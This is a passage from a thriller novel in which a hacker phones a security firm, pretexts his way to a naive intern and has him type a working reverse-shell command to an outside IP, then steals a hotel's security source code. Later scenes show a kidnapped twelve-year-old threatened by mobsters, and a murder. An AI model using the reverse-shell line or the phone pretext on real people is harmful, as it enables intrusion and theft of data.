Several more minutes of study armed him with information about RockBox. From industry reports, press releases, and LinkedIn, he deduced that the company was about ten years old and had about 50 workers, about a dozen of whom were engineers. The company's website listed its phone number.

Danny reached for his cellphone, plugged into a charger at the corner of his desk.

A mighty backhand upside his head nearly knocked him out of his chair.

“Ow! What the fuck!” he howled.

Sergey glared at him. “What do you think you are doing? You think I let you make telephone call?”

“Look, you want me to help you or not?” Danny protested.

Sergey snorted. “Fine. But you must keep it on speakerphone.”

With a nod, Danny took a deep breath and began dialing.

Sergey watched Danny work the phone, and narrowed his eyes. “What is strange code you are putting in before the phone number?”

“It’s star-six-seven,” Danny said simply. “It’s to block caller ID. Now, quiet, it’s ringing.” He activated the speakerphone and laid the cellphone on his desk.

An older woman’s voice greeted the line. “RockBox Digital Security. How may I direct your call?”

Hesitantly, Danny said, “Hi there. This is Danny, from the Medina Gallante contract. Listen, I was just chatting with an engineer of yours a few minutes ago, and I was supposed to call him back but I don’t have his direct line. He was helping me out through a real jam, and I’m kind of stuck without him.”

“What was his name, sir?” said the voice.

“I... uh... You know, I totally forget. I’m terrible with names,” Danny chuckled sheepishly. “I remember he’s really junior. Apparently a new hire, right out of college or something. Good kid, though.”

“Are you referring to Rick Easterday?” the lady suggested. “He’s our summer intern.”

“Rick! Yes! That was it!” Danny bluffed.

“I’ll put you through,” said the woman.

The line went silent for a few moments. Danny took another few deep breaths and wiped his face with both hands. This acting business did not come naturally to him.

A young man’s voice answered, “Hello?”

“Rick! Hello! This is Danny, with Clay... uh... Prismatic Creations, up in Seattle. We were subcontractors on the Medina Gallante account a couple years back. It’s a big snazzy hotel that you guys built the security system for.”

“Uh... What can I do for you?” said the young man’s voice, still slightly squeaky with adolescence.

Danny rolled back his shoulders and said, “Well, here’s the deal, Rick. I was trying to upgrade the operating system on Gallante’s computers, and I kind of screwed the pooch on the RockBox software. I didn’t test the upgrades first, and now I get this message saying, ‘Illegal operation’ and then a bunch of random numbers.”

The kid answered nervously, “I... uh... I don’t really know anything about that. I’ve only been here for a couple weeks. Here, let me get you one of the other engineers...”

Danny quickly said, “Wait! No, please don’t do that.”

The young man asked with deep confusion, “Why not?”

Danny paused for a moment, then answered with an embarrassed tone, “Look, Rick... Um... The truth is, I’m kind of facing a total shit-storm here. My company, Prismatic Creations, has a maintenance contract with this hotel. I’m sitting here at the customer’s site, and all their systems are down. Do you know how this makes me look? Now, the folks here at Gallante haven’t figured it out yet, but if they get wise, then I’m going to be in some seriously deep, deep shit. So I’d *really* like to keep this on the down-low. If you can help me without involving RockBox senior engineering staff, I’ll, like, owe you my life.”

The pimply voice on the line said, “I’m really sorry, sir, but I really don’t know anything about that system. I’ve never even heard of this, like, Gallante hotel project or whatever. I’d like to help you out, but I, uh, think you’re kind of screwed...”

“Listen, Rick,” Danny said smoothly. “I know a command you can use that’ll send a reset signal to the computers here. It might get everything back to normal for me, but it’ll only work if the command comes from a computer inside the RockBox firewall.”

“You mean like my workstation?” asked Rick.

“Yes, exactly,” said Danny. “What kind of computer is your workstation? Windows? Mac? Linux?”

“Mac,” said Rick. “Is that okay?”

An evil grin crept onto Danny’s face. “It’s absolutely perfect...” He laid his hands upon his keyboard and began working. “Now, Rick, I’ll just need a minute here to prepare the machines for your signal...” A few large black windows opened on his computer screens. He typed several commands, sending rows of text cascading down his display. After about a minute, he said into the phone, “Hey Rick, you still there?”

The squeaky voice on the other end of the line hummed a greeting.

“So, listen, I’m ready for your signal,” Danny instructed. “I’ll need you to open a terminal window. You know what a terminal window is, right? It’s under Applications, Utilities.”

“Yes, got it,” the young man said.

Danny breathed a sigh of relief. “Good. Now, type the following command exactly as I say it...”

```
exec /bin/sh 0< /dev/tcp/69.17.116.124/1337 1>&0 2>&0
```

On the other end of the line, young Rick dutifully repeated the code, following his instructions perfectly.

Messages began appearing in the windows on Danny's display. He silently pumped his fist in a muted cheer of victory, and began typing more commands.

Rick squawked, "Did it work?"

"Like a charm, Rick!" said Danny. "Um... I owe you big! You're a lifesaver!"

"It doesn't look like it's doing anything..." Rick said, confused.

"Oh, it's doing stuff, alright!" Danny assured. "Don't close that window, okay? I'll terminate it when... I mean, it'll terminate on its own when it's done. Just leave it open."

"Okay. Your systems are coming up now?" asked Rick.

Danny answered slowly while typing, "Oh yes. Everything is going quite well. Thank you, Rick. You've been very, very helpful." He abruptly hung up the phone, and mumbled to himself with a condescending chuckle, "What a nice young man!"

Sergey stared at him in confusion. "What the hell was that?"

Danny, speaking slowly as he interlaced his words with his keystrokes, replied, "That was what we refer to in the industry as me being *fucking awesome!*"

Tina asked with astonishment, "What did you do that poor kid?"

“Taught him a valuable life lesson about trusting strangers on the phone,” said Danny. “That command I had him type opened a reverse shell — it gave me a back door into his workstation. Check it out — I’m controlling his machine right now. Here’s a list of files in his home directory... Here’s a list of currently running processes... Oh hey, look! Here’s an SVN repository....!”

“And this Rick kid doesn’t mind you running all these random apps on his Mac?” Tina asked in bewilderment.

“He doesn’t know,” said Danny as he continued typing. “I’m taking all the output from these programs, bouncing it through a webserver at Claymore Communications, and piping it over to my terminal here. Young Rick can’t see a thing.”

Sergey interjected, “How is any of this helping get back my Rosie?”

“I’ll tell you in a minute...” Danny disappeared into the nondescript expanse of text. The only sound in the room was the soft clicking of his keyboard. Finally, the stillness was broken with Danny announcing, “Jackpot.”

Danny moved his mouse cursor over a block of text. The line under the cursor read, “`Medina Gallante`”.

“See this folder?” he explained. “It contains all of RockBox’s digital assets for the Gallante account. It’s got PDFs of the Gallante’s floor plans. User manuals for all of the security system components. And all of the source code for all of the

software that runs the entire hotel — keycards, cameras, online reservation systems, credit card billing, room service notes, VOIP telephone dispatch, utility maintenance records...” He pulled a data stick out of a drawer of his desk and plugged it his computer. “It’s all here. And it’s all ours.”

Sergey asked, “And with this you can get me into hotel, yes?”

Danny nodded hesitantly. “With this, we can perform whitebox analysis of their entire integrated security framework. If we can find an exploitable flaw anywhere in the entire code base, we may be able to shove a metaphorical crowbar into it and use it to crawl inside and take over the entire system. No code project is ever completely free of defects, especially not one with this many different components and built by this many different people. There has to be a chink somewhere in this armor. It’s just a matter of finding it.”

Sergey sighed with concern. “How fast can you do this?”

“Me? Alone? Not nearly fast enough,” said Danny.

“You need how much time? A day? Two days?” Sergey pressed.

Danny laughed without humor. “Sergey, something like this could take months.”

“You are full of shit,” Sergey grumbled. “You are supposed to be super smart. How can it take so long?”

In response, Danny loaded one of the source code files into an editor and expanded it to full-screen. Countless multicolored blocks of text overwhelmed the display. “Can *you* read that?”

“This is what you are for,” Sergey retorted.

Danny shook his head. “Looking for defects in source code is as much an art as it is a science. I can’t do this alone. I need to bring more people into this.”

Sergey looked at him coldly. He thought for several moments. Finally, hesitantly, he said, “There is no other choice, is there? Very well. You need help? I will let you go get it.”

Danny gave him a nod. “I know just the man for the job.”

25

Bug#: 7392252

Submitted by: ssrinivasan

Assigned to: awolfson

Priority: P1

Title: Network handler corrupts player inventory

Description: The Player class's getInventory accessor returns a pointer to Inventory object, instead of scoped reference with a mutex lock as I have recommended. At PlayerNetworkHandler.cpp:2163, awolfson creates a possible race condition between the network and UI threads. If a player can induce concurrent writes, they can make random items appear in their inventory (demonstrated in unit test #12271).

Comments:

ssrinivasan

If the dev team would take my design advice then they would not have these bugs in the first place.

DOPAMINE

awolfson

First of all, there's no way a user would be able to make this happen. Second, it's not the player's real inventory that's affected, only their client-side snapshot. It self-corrects during the next state pull. Yes, this is a bug, but it's a very minor one.

Priority changed from P1 to P3 by awolfson.

ssrinivasan

You are missing the bigger picture. The issue is not just this one bug. The issue is that you are using a bad overall software design. This bug is a natural consequence of the dev team's unwillingness to apply the more robust architecture that I recommended. More bugs like it will continue to be filed until this changes.

Priority changed from P3 to P1 by ssrinivasan.

--- br/> **Bug#:** 7392303

Submitted by: awolfson

Assigned to: ssrinivasan

Priority: P1

Title: Stick lodged in Satish's butt again

Description: As evidenced by Bug Report #7392252, it is clear that Satish has once again sat down on a large metal rod, which must be removed from his rectum immediately.

Comments:

ssrinivasan

Real mature. Need I remind you that this is grossly inappropriate use of company's bug-tracking database.

awolfson

I know you are but what am I?

ssrinivasan

Satish stared apoplectically at the comment entry field. He furtively began several attempted responses, only to delete them as he searched for the right words to express his righteous indignation. He swore to himself that he would find a way to make lead developer Aaron Wolfson feel his wrath.

He was so embroiled in the flame war that he didn't notice someone enter his office until he heard the door close.

Satish looked up from his monitor. The first thing he saw was a large cardboard box. The second thing he noticed was the man holding it.

"Danny?" Satish said, unhappily surprised.

"Hey." Danny dropped the box casually to the floor. It fell lightly.

Satish eyed the box. "What's that?"

"This?" Danny idly kicked it around with his toe. "Oh, this is nothing. It's empty. I pulled it out of a recycling bin behind Building 34."

Satish shook his head in annoyed bewilderment. “What the hell are you doing here? I thought we were finished.”

“I thought so too,” said Danny.

“How did you even get inside the building? Do you have a visitor’s badge? Are you just walking around on Microsoft property alone?” Satish pressed.

“Oh, yeah, that,” Danny said nonchalantly. “Do you know what I just discovered a few minutes ago? If you’re standing outside a doorway carrying a large, heavy-looking box and you act like you’re struggling to grab the door handle, then not only will people not bother asking for ID, they’ll even hold the doors open for you. True story!”

Satish placed his hand threateningly on his desktop telephone. “I could have you arrested.”

Danny smiled calmly. “After everything that’s happened in the last twenty-four hours, I find your attempts at intimidation rather un-compelling.”

Irritated, Satish limply drew back his hand and crossed his arms. “So, to what do I owe the supreme pleasure of seeing you again?”

Danny sat down in a plastic chair beside the desk, near a bookshelf packed with reference manuals. Satish’s office was a dense, efficient work environment, with whiteboards, books, and paper trays organized with the intricacy of clockwork.

Design documents hung pinned from corkboards, and large poster-sized software architecture diagrams lined the walls. Scarcely a single cubic inch of volume was spared in the baroque machinery of intellectual productivity.

“It appears,” said Danny, “that our little project last night had some extremely unfortunate consequences.”

“No shit,” said Satish. “One of my friends is lying in a hospital bed right now with his head almost caved in.”

Danny looked away contritely. “He’s not the only one who got hurt because of what happened last night.”

“Oh please, if you're talking about that little scratch on your back, spare me,” Satish scolded. “Your pity-point account has a balance of zero.”

“Me? No. Geez. I’m not talking about myself, Satish.”

“Then who are you talking about?” Satish pressed.

“Do you remember the drug lord we talked to on the phone? Sergey Mukhayev?” Danny asked.

“Yes, of course,” said Satish.

“He found me,” said Danny.

A moment of silence passed between the two men. Satish's face was a complex mixture of shock, contempt, and sympathy. He said nothing.

"There's some kind of Russian mob war," Danny explained. "Some kingpin kidnapped his daughter. He's staying at the Medina Gallante hotel. Sergey tracked me down, and is demanding that I join him to rescue her."

Another silent moment passed. Satish stared at him, wordless.

"I need your help, Satish," Danny said.

After a long, tense, inscrutable pause, Satish replied, "Okay."

Danny was taken aback. "Really?"

"Yes," Satish said with a cold nod.

"Just like that?" Danny asked eagerly.

"Yes," Satish repeated. "Look. I can't stand you. And if you ask me, you're getting what you deserve. But there's a big difference between hating you and letting you get killed. So, yes, I'll help."

Danny smiled at the Indian man warmly. "Thank you, Satish. I mean that. Despite everything between us, I know you're a good man."

Businesslike, Satish asked, "Now, is your passport valid?"

Danny blinked. “My passport?”

“And did you bring it with you, or will you have to go home for it?” Satish asked.

Danny shook his head. “My... what? No. What?”

“Flights from Sea-Tac to Chhatrapati Shivaji take between twenty to thirty hours,” Satish told him. “You can get a visa on arrival, so entering the country will be no problem. I have a brother that can meet you at the airport. He runs an English-language call center just outside of Mumbai. He will be able to set you up with an IT job there. It won’t pay much by American standards, but the money will go far in India. He’ll let you stay at his house for a while until you get settled in. Now, as for the plane trip, if you buy a one-way ticket for immediate departure, you’ll ring alarm bells, so what you should...”

“Whoa, Satish, stop!” Danny interrupted. “I’m not fleeing the country.”

Satish looked confused. “Then why else would you come to me?”

Danny reached into his pocket and withdrew his data stick.

“I got the source code to the Medina Gallante’s security and hotel management systems,” he said. “I need your help to find an exploitable vulnerability, and to use it to crack into their computers. And I’d like to do it tonight.”

Satish stuttered while trying to respond. “Don’t be silly, Danny. You don’t have to do that. You can get out of this.”

“I want to do it,” Danny insisted. “I’m choosing to.”

“Have you completely lost your mind?” said Satish.

Danny smiled gently. “Quite the contrary. I think I’ve finally begun to find it.”

“Danny, I’m not getting involved in another psychotic scheme with you!”

Danny looked into Satish’s eyes earnestly. “If I can get Moshen and Mike and maybe Jason to help me, will you join us?”

“Fuck you!” Satish barked. “You leave them out of this! Haven’t you caused them enough problems? Whatever the hell this bullshit is about drug lords and kidnapped daughters or whatever, it’s not their fight. And it’s not yours either, for that matter.”

“I’m making it my fight,” Danny replied.

“Why the fuck would you do that?” Satish demanded.

Danny shrugged. “Why the fuck does anybody do anything?” he said.

“What could you possibly have to gain by doing this?” Satish asked.

Danny answered, “The ability to see myself as the kind of man who does this.”

Satish stared at him incredulously.

Danny simply smiled, and spoke softly. “Look, Satish. I’ve asked myself: Why did I sign up for Jason’s little excursion in the first place, anyway? I’ve got savings in the bank. I’ve got a roof over my head, food on my plate, and toys to keep me entertained. But I chose to risk everything — my comfort, my freedom, my very life — for... something else. And Jason — what was *he* trying to gain? Not money. Jason’s got plenty of money, and he’s turned out to be one of the unhappiest people I’ve ever met. Money’s just a proxy for something else, something he doesn’t have nearly enough of.

“You’re right, Satish. I could take you up on fleeing the country — a very generous and kind-hearted offer, by the way. I know I’d be alright. I’d be safe. I’d work, I’d pay my rent, I’d put food on my plate, I’d go on living like I always do. I’d survive.

“But you know what? At this point in my life, I’m far past the point of considering that a win. I *know* I can survive. I’ve already thoroughly proven that I’m a viable, productive, self-sustaining human being. I’m almost forty years old. I’ve been self-sustaining for almost twenty years — that’s enough time to create and raise an entirely new human being to the point where *they’re* viable and productive and self-sustaining in turn! Yes, in theory, I can go on merely surviving. But you know what? I won’t. I’m sick of it. I can do better. Mere survival is the bottom-most level of Maslow’s Hierarchy. I’ve earned the right — no, the *obligation* — to reach for something higher.”

Satish rolled his eyes. “And getting involved in a drug war is your idea of ‘something higher’? No pun intended.”

“By itself, no,” said Danny. “But helping someone who desperately needs me right now, someone for whom I’m the only hope... That sounds like the right track.”

Satish scoffed, “Are you talking about that Russian guy? You feel like you need to be a hero on behalf of a drug lord? Need I remind you, he’s ‘making his way’ by smuggling and selling cocaine.”

Danny laughed lightly. “Do you know what cocaine does, Satish? Biochemically, that is? It gives you a feeling of accomplishment. Just straight-up gives it to you. It’s no wonder so many people love the stuff so much, enough to keep guys like Sergey in business. Who needs to *actually* pursue dreams or achieve goals or strive for self-actualization, when you can just get the resulting pride and satisfaction directly in powder form?

“It’s a fake feeling, of course. You can’t outsmart your own mind. You yourself know perfectly well whether or not you’ve achieved your own goals, because you’re the one that defines those goals in the first place.

“You know, I’ve been trying to pay attention to all the technical molecular biology stuff I’ve been hearing ever since this whole thing started; and the truth is, I haven’t been able to grasp much. But do you know what I *do* get? That the brain chemical affected by cocaine — dopamine — is a real, measurable, quantifiable substance, and on a molecular level it plays a predictable, deterministic, almost mundane role in the brain’s circuitry for pleasure and reward. It’s a critical part of how the human brain works, and there’s absolutely nothing magical about it.

DOPAMINE

When you understand how the components work, it becomes possible to analyze thoughts flowing through a human mind the same way you can analyze instructions flowing through a computer's CPU. When a neurobiologist talks about what motivates a person, how a person perceives the world and acts on their wants and needs and dreams and desires... When you talk about that stuff armed with an actual knowledge of how the machinery of the brain operates, you're not talking philosophy. You're talking engineering.

“And dopamine isn't simply a reward signal. It's also part of the brain's circuitry for perception and action. Maybe it's all interrelated. Maybe you need to have a reward system by definition in order to be able to take action — no action would occur if there was no reinforcement process to shape it. And you need perception in order to recognize when to dole out a reward, to recognize when that reinforcement is supposed to kick in. It all fits together, like an incredibly intricate circuit diagram.

“Look, I'm just a Gen-X dot-com code-monkey. Ask me to fiddle with a man-made machine? I can do that. Ask me to decipher the secrets of how the human mind arises from its physical substrates? Hell, man. I'm not that smart.

“But you know what I *am* smart enough to do? Code. I've been programming since my hands could span a keyboard. Computers and I grew up together. I'm among the first-born children of the Information Age. I might not know anything

about the machinery of the brain or the mechanics of consciousness, but I do know that if you give me the schematics for an information processing system, I can bend it to my will.

“And it’s about time I took those skills and applied them back upon the mind that they arise from.

“For my whole life I’ve been miserable — constantly lamenting my choices, imagining I had chosen different paths, daydreaming what my life would be like in alternate universes. Never once letting myself feel joy in the universe I’m actually living in, in the life I’ve actually chosen.

“That ends today.

“I have the power to *reprogram myself*. I can stop denying myself the well-earned privilege of taking pride in who I am. I can recognize myself as someone worthy of admiration. And when I look in a mirror, I can learn to perceive my own face as the face of a man.

“And I accomplish that by acting like one.”

Danny laid the thin data stick on Satish’s desk, and slid it forcefully toward him.

“Now, please help me do that,” Danny said.

Satish's face boiled with disapproval. He shook his head vigorously, made dismissive gestures with his hands, and emitted a few unfavorable grunts. Several times he opened his mouth ready to offer a retort or a jab, but every time only a fraction of a syllable would come out. Eventually his resistance grew less animated and more internal, and he turned away from Danny to brood in quiet contemplation at his desk, his pose slack in his chair.

Satish's hand moved toward the data stick lying on his desk.

After several long, silent moments, he said to Danny without turning toward him, "You can't reverse engineer an entire deployed customer solution in a matter of hours."

Danny sighed. "You haven't even looked at the code yet."

"I don't need to," Satish insisted. "It can't be done. And besides, even if we write a successful exploit — a virus or a trojan of some kind — it's still not clear how we would deliver it to the Medina Gallante's computer systems..."

Sharply and with a hint of anger, Danny barked, "Satish! Stop figuring out why it can't be done, and start figuring out how to do it."

Satish opened his mouth to say something but stopped himself. Several silent seconds passed as he sat with a hateful frown, slowly tapping the data stick on his desk.

Finally, he spun in his chair, swung the data stick toward his workstation, and plugged it into a USB port.

“First thing we can do,” Satish said, opening brightly colored windows on his computer screen, “is search through all comments in the source code.”

Danny rocked forward excitedly in his chair. “Now you’re talking!”

“We’ll look for lines marked, ‘TODO’,” Satish explained. “A lot of times programmers will leave notes for themselves to clean up a bad piece of code. If they’re working toward a deadline and they have to add a new feature to the software quickly, usually they’ll write a very sloppy, unreliable version of that feature first, with the intent to come back and fix it later when they have more time. But they forget, or they run out of time, so the rough draft ends up getting deployed at the customer site.”

Heartened, Danny stood and marched over to Satish’s whiteboard. With a brisk nod, he grabbed a dry-erase marker. “Let’s enumerate the system’s external points of contact,” he said, listing as he spoke. “There’s the billing subsystem. The VOIP telephone subsystem. The police alarm subsystem...”

“This source code includes their unit tests and build verification tests,” Satish said as blocks of text slid across his screen. “I can run a code coverage analysis of their internal testing suite. It will highlight portions of code that their own quality assurance systems maybe failed to test properly. If there are any bugs in the code’s low-coverage areas, the engineers would’ve missed them. ...Danny?”

“Yeah?”

“Pull up a chair,” Satish invited.

Danny gave a heartfelt, grateful nod.

Satish stared at the myriad grids of data on his screen. “This is going to take a lot of work,” he warned. “But I think it can be done.”

DOPAMINE

26

PYOTR PASSINSKY WATCHED CALMLY with detached interest as one of the Russian bodyguards blasted another's skull open with a Dragunov rifle.

"Boom! Headshot!" the sniper cheered. "Three for three!"

"Son of a bitch!" yelled the victim, and slammed his PlayStation 3 controller down on the thick glass coffee table.

"Easy, brother!" the assassin said, laughing. "It's not the table's fault you suck ass."

"Oh shut the hell up, dick-muncher," he replied. "I've seen you with a real Dragunov. You can't shoot your way out of a wet paper bag."

Another mercenary excitedly broke away from a heavy petting session with a waifish smoky-eyed whore in one corner of the wide leather couch. He slid over on the sleek cushion and grabbed the now-unmanned controller. "My turn!"

Passinsky, for his part, merely gazed bemusedly at the graphics, marveling over the incredible complexity of the machinery required to provide these men their entertainment.

They sat in the deep leather couches of a red-carpeted sunken living room inside the Presidential Suite of the Medina Gallante, a luxurious penthouse built of cedar, marble, and glass. The young men had co-opted the enormous LCD TV hanging on one wall to rowdily challenge each other in a few rounds of *Call of Duty*. Throughout the suite, a dozen or so brash men in their twenties and thirties lounged and chatted and drank beer and fiddled with loaded handguns. They were kept company by a handful of garishly-dressed women whose bodies looked much younger than their faces.

On the coffee table, there sat a large crystal punch-bowl filled with fine white powder. It was freely available to the men to enjoy at their discretion. At the moment, the contents of the bowl were being gently picked at by the hot-pink fingernails of an anorexic young woman with more make-up than clothing. She, too, was there strictly for the men's enjoyment, provided free of charge as a perk of employment by Ivan Zheleznov.

A wide spiral staircase wound upwards through the high ceiling to the bedrooms above. French doors opened out to a balcony overlooking Lake Washington and the Seattle skyline, the city silhouetted in rich hues of orange and pink as the sun slowly set behind the Olympic Mountains.

There was a quiet muttering from just outside the room. The men perked their ears. With a press of a button, the video game system went mute.

The entrance of the Presidential Suite of the Medina Gallante was a pair of large brown cedar doors, latched with wide curving brass handles.

One of the door handles turned.

In the blink of an eye, every man in the room snapped his full attention to the entryway. Those who were sitting jumped to stand; those who were standing crouched and leaned into attack postures. Prostitutes were unceremoniously thrown aside. Handguns leaped out from holsters and pockets and pointed at the door. Metallic clicks echoed through the room as safeties switched off, hammers cocked, cylinders spun, and slides latched.

The door opened by a slight crack amid tense stillness.

Through the gap came a rasping, gravelly male voice. "Easy, boys!" it said boisterously. "It's just me!"

At the sound of the voice, handguns lowered and stances relaxed.

The double doors swung open, pushed casually apart by the arms of a cavalier middle-aged man in a three-piece suit. In the entryway stood the silver-haired, beak-nosed, hawk-eyed figure of Ivan Zheleznov.

He sauntered confidently into the room, strutting like a king among his loyal peasants. The mercenaries hooted him a few sporadic greetings.

Passinsky unfolded his long, gaunt legs in the complicated process of rising from the deep couch. He stood humbly in the sunken living room and greeted Ivan with a simple deferential nod.

Ivan's sharp, grating voice spoke again. "Ah, Petya! It's good to see you. You and I will settle up in a minute. For now, my brothers, show some love! We have a special guest!"

Three men followed Ivan into the room. They carried a large rolled-up corduroy rug bound with strands of plastic cord. The cylindrical mass sagged and drooped in random counterintuitive ways, defying the men's efforts to haul it through the doorway.

Passinsky realized that the rug itself was squirming and bucking, trying to wriggle out of their grasp.

Just inside the doorway, it succeeded. The rolled-up rug hit the floor and emitted a soft, muffled, high-pitched grunt. It writhed on the ground of its own accord, making tiny squeaking growling sounds.

The men closed the doors and made a circle around the bulky motile corduroy mass. One reached down toward it and, with a pull of a box-cutter blade, sliced away the plastic cords binding the rug in its cylindrical shape. It began to unfurl.

Out from the inside of the rolled-up rug crawled an exceptionally pretty twelve-year-old girl.

Rosie Mukhayev's hands were tied behind her back with cord, and duct tape covered her mouth. She pitched and rolled her shoulders to pull herself away from the rug, breathing heavily through her nose, desperate to catch her breath. Her frail ribs expanded and contracted freely now that she had extricated her body out of its corduroy confinement. She climbed to her feet and spun around to take stock, finding herself surrounded by large, aggressive men.

Her first reaction was to choose two of them at random and lunge angrily forward to try to squeeze her small body quickly through the gap between them.

It didn't work. One man clasped his large calloused fingers firmly around her elbows and pulled her back against his torso, holding her in place. She tried going limp to slide out of his grasp, but all it did was twist her shoulder. Futilely, she kicked and body-checked against him, her voice making small, furious noises.

The circle of men parted to make way for Ivan.

The middle-aged man approached the young girl. He cocked his head to one side and sized her up, studying her like an eagle tracking a cornered rabbit. A subtle predatory smirk danced on his dry, aged lips.

"She's a feisty one!" he said approvingly.

Rosie stopped struggling and glared at him in rage, trying to cause him pain just with her gaze alone.

Ivan continued staring at the girl, his eyes boring through her smooth skin. He took a step closer to her and slowly reached out toward her face with a bony, gnarled hand that smelled like old man's sweat. Gently, tenderly, in a facsimile of seduction, he traced the back of one hairy knuckle against her soft cheek. "Little girl, there are a few things we need to discuss," he rasped, and slid a jagged fingernail against the gag over her mouth. "I'm going to take this off of you now. You want me to do that for you, don't you? I know you do."

Rosie stared hatefully at him.

He yanked the tape from her skin with a loud rip.

A white cotton rag had been stuffed into her mouth. She wiggled her jaw and tongue to push out the saliva-soaked ball, and spit the wad to the floor.

And screamed.

Her shrill, piercing voice rang out like a steam whistle, slicing through the room like a storm of razors. The scream vibrated as her throat shook amidst the current of air rising forth from her small lungs.

Ivan merely crossed his arms and laughed. It was a dry, hacking sound.

The girl faded to silence and eyed the middle-aged man with hatred and apprehension as he tittered diabolically at her.

“Little angel, do you think anyone can hear you?” he said. “Look around, dear! Rooms like these are built for rock stars! There's two meters of soundproofing under this floor. You could throw a party here with a hundred people and booming music, and nobody would hear a thing downstairs. A grenade could go off in here, and people one floor down would just think we're watching a movie.”

For a few moments she said nothing. Finally, in English, she sneered, “When my Daddy gets here, you are so fucked.”

At this, Ivan burst into haughty laughter. “Your ‘Daddy?’” he said mockingly, repeating the word in English embedded in a stream of Russian. “You know what happened last time your ‘Daddy’ tried to dance with me, right?”

Her eyebrow rose involuntarily.

He leaned forward and jutted his face toward hers. “You don’t know who I am, do you?” he asked. His breath smelled of dental work and recently-eaten fish.

She spit in his face.

He slowly stepped back and wiped the spit away with the sleeve of his suit jacket. When his hand came away from his face, it revealed a lusty grin.

“Take her upstairs,” he said to the mercenary holding Rosie, chuckling slightly. “She’ll need a little bit of time to, shall we say, fully comprehend her new circumstances. Keep an eye on her tonight, but don’t touch her. Nobody touch her. Not yet. There is a process to these things, after all, and I want her to first come to the realization that she will not be rescued. We’ll take her back to St. Petersburg tomorrow. Then we can properly begin her ‘education.’”

The thug nodded compliantly, and proceeded to push and drag her bucking, kicking, wriggling, slacking body up the wide spiral staircase, until her shouts and barks of protest faded somewhere in the carpeted hallways overhead.

When they were gone, Ivan abruptly spun on his heel to face the living room, and clapped his hands.

“Now,” he said excitedly, “there is one more matter worth attending to.” He looked at Dr. Passinsky. “Petya! Come over here and join us!”

Passinsky was still standing in the sunken living room, doing his best to avoid entanglement in the touchy matter of the Mukhayev girl. He had seen worse things in his day, and knew better than to show any outward reaction. Demurely, he stepped out and approached Ivan and his men by the stairs.

“It’s good to see you, Petya!” Ivan said, and flashed Passinsky a wide crocodile smile. “I take it you’ve been able to resolve that little dilemma from this morning?”

Passinsky nodded. He reached into his pocket, and produced the small translucent vial.

Ivan reached out and took the container of *E. coli* in his coarse hand. He held it in his palm and chuckled, looking eye to eye with the drawn smiley face on the vial's side. "Such a small thing," he said. "Yet a cause of so much fuss."

"It is the product of years of research," said Passinsky.

"And the cultivation instructions?" Ivan asked.

"I've emailed you documents on proper incubation procedure and optimal yield formulas," said Passinsky. "It's worth noting that this bacterial strain appears to be particularly hardy and will probably thrive even in poorly calibrated incubation environments. Protocol usually demands that you carry it on ice, but by now the mother colony has been out of cold storage for almost twenty-four hours and shows no signs of plasmid instability."

Ivan smirked. "Thank you, Petya. You have done well."

Passinsky shrugged off the praise. "Have you had a chance to speak with Tungsten's former creditors?"

"What for?" Ivan said casually.

“What do you mean, ‘what for?’” Passinsky said carelessly, and instantly regretted it. “At the risk of sounding impertinent, sir... I was under the impression that the whole purpose of your visit was to meet with me to discuss the recent reinstatement of Tungsten’s debts.”

Ivan eyed the vial in his hand. “That hardly matters anymore, does it?”

“It... doesn’t matter?” Passinsky asked suspiciously.

“I have what I need,” Ivan said with a shrug, and placed the vial in the vest pocket of his three-piece suit.

Passinsky felt his blood run cold. “I... I’m afraid I don’t understand. What will happen to Tungsten?”

“The hostile takeover will succeed,” Ivan said simply. “Whoever wants this company, they can have it.”

“And the equipment? And the staff?” Passinsky repeated, going pale. “And me?”

“Auctioned. Disbanded. And...” Ivan gave a wide, uncaring shrug. “Eh.”

“We had an agreement!” Passinsky insisted hoarsely.

“Did we now?” Ivan said with a smirk.

Passinsky's normally emotionless eyes widened. The corners of his thin, dry lips curled downward. "Do you think I work for you because I enjoy gazing upon your face?"

Ivan stared sinisterly at the gaunt old man. "Careful, Petya. I'm sure you wouldn't want to say something you'd regret."

Passinsky harshly swallowed his bile. "Sir. I didn't mean to be rude. But as a businessman, I'm sure you understand that the purpose of our arrangement was to further my own interests as well as yours. I have personal theories about the functioning of the brain that I've been waiting for decades — literally, decades — to put to the test. Do you think I was permitted to perform real research at the Russian Academy of Sciences? That entire corrupt institution was nothing but a Politburo propaganda toy! Do you know what I was made to study in my years there? Lysenkoism in the '60s. Polywater in the '70s. Telekinesis in the '80s. What they called 'science' was puerile politically-driven prostitution! And now, with the Soviet Union dissolved, my situation is no better. My sole opportunity for accessing the kind of equipment and personnel I need lies in the private sector — which, in today's Russia, means doing business with... gentlemen such as yourself. So, Ivan, sir, let there be no mistake. I did genuinely find your project to be an intriguing and delightful little, um, diversion. But my labor for you was contingent on the understanding that, once I completed your research and development goals — which I have! — then you would grant me full creative control of the laboratory, complete with equipment, facilities, and personnel, with uninterrupted funding for the full remainder of my lifetime."

Ivan, with a shark-like smirk slowly spreading his lips, replied, “Well, that’s just it, Petya. It appears that your life simply won’t be all that long.”

“Oh, I expect I have many good years left in me yet,” Passinsky contested. “I’ve maintained a strict nutrition and exercise regimen my entire life, and am in excellent health for a man my age.”

Ivan clucked condescendingly. “Petya, I’m not referring to your age.”

Passinsky felt every old muscle in his body tense. “Then what are you referring to?”

To his side, two of the soldiers came to pick up the corduroy rug. They began smoothing it out on the floor nearby.

“I’m referring,” said Ivan, “to that terribly unfortunate accident you had this afternoon.”

The hair on the back of Passinsky’s neck stood on end. He felt the breath of one of the mercenaries standing inches behind him.

“You know the accident I mean, yes?” Ivan said. “The one where you fell down the stairs in your house and broke your neck? Your old bones are awfully frail, after all...”

Passinsky opened his mouth to offer a response. He never got the chance.

DOPAMINE

A strong hand reached over Passinsky's shoulder, grabbed his chin, and pulled. Another hand pushed the back of his head in the opposite direction, forcing the spine at the base of his skull to absorb far more torque than it was structurally capable of sustaining.

He realized bitterly that this would be a serious setback for his research.

DOPAMINE

27

BENEATH A STAR-FILLED SKY, JASON'S YACHT rocked gently on the soft wind-driven waves. On its deck, Danny carefully aimed his pulse rifle out across the black water.

"Can you make it hold still?" Danny insisted.

On the flying bridge above, Jason manned the helm. "Can I make what hold still?"

"The boat."

"It's on water, Danny," Jason responded testily. "It's as still as it's going to get."

Danny's HERF gun rested on a large tripod. The gun bore a large attachment on its muzzle: a domed dish a yard wide, made from chicken wire and aluminum foil. In front of the dish, a copper plate sat on a collapsible plastic rod several inches long, with wires running to a circuitboard in Danny's hands. Lights and gauges flashed patterns that only Danny could decipher.

